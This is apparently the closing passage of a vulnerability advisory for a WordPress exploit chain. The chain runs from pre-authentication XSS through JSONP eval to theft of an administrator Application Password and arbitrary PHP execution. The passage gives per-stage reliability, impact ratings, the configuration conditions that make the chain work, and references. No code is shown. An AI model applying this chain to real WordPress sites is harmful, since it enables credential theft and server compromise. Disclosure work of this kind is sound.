- Levels 2-4: 100% reliable in any browser. Spec-defined behaviour (named properties,
globalEval()). - Level 5: Depends on administrator interaction (clicks the driver link) and browser timing (window ordering). ~1-2 second delay required to ensure the opener navigates before the child fires the JSONP.
- Levels 6-9: Depends on target configuration. Application Passwords must be enabled; victim must have
unfiltered_html. On default HTTPS installs and stock single-site setups, both conditions are met.
#Impact
- Pre-authentication XSS: Low in isolation.
- Credential theft: High. Compromise of a high-privilege administrator Application Password.
- Code execution: Critical. Arbitrary PHP execution as the web server user (
www-dataor equivalent).
#Chaining potential
- The XSS injection primitive (Level 1) is independent. It does not require any specific WordPress configuration, theme, or plugin.
- The JSONP eval chain (Levels 2-4) depends on
user-profile.jsbeing enqueued on the login page (default) andcolor-optiondelegated handler existing (default). - Levels 5-9 are difficult to chain unless the target is a default single-site install with
unfiltered_htmland the victim administrator has direct admin access. Multisite, network-wideDISALLOW_UNFILTERED_HTML, or more restrictive role configurations block later rungs. - The full chain is practical on stock single-site WordPress installs, development/staging environments with
WP_ENVIRONMENT_TYPE=local, and HTTPS production sites.
#References
- CVE: CVE-2026-64638
- GitHub Advisory: GHSA-52p2-r8wf-jcrf
- Fix commit: d46d1011b16c7db7ef4cd5f77801ef4b31b067eb (SVN r63067)
- WordPress Security: 7.0.3 Release Notes
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-64638
- Researcher Write-up: https://pwn.ai/blog/xss2shell
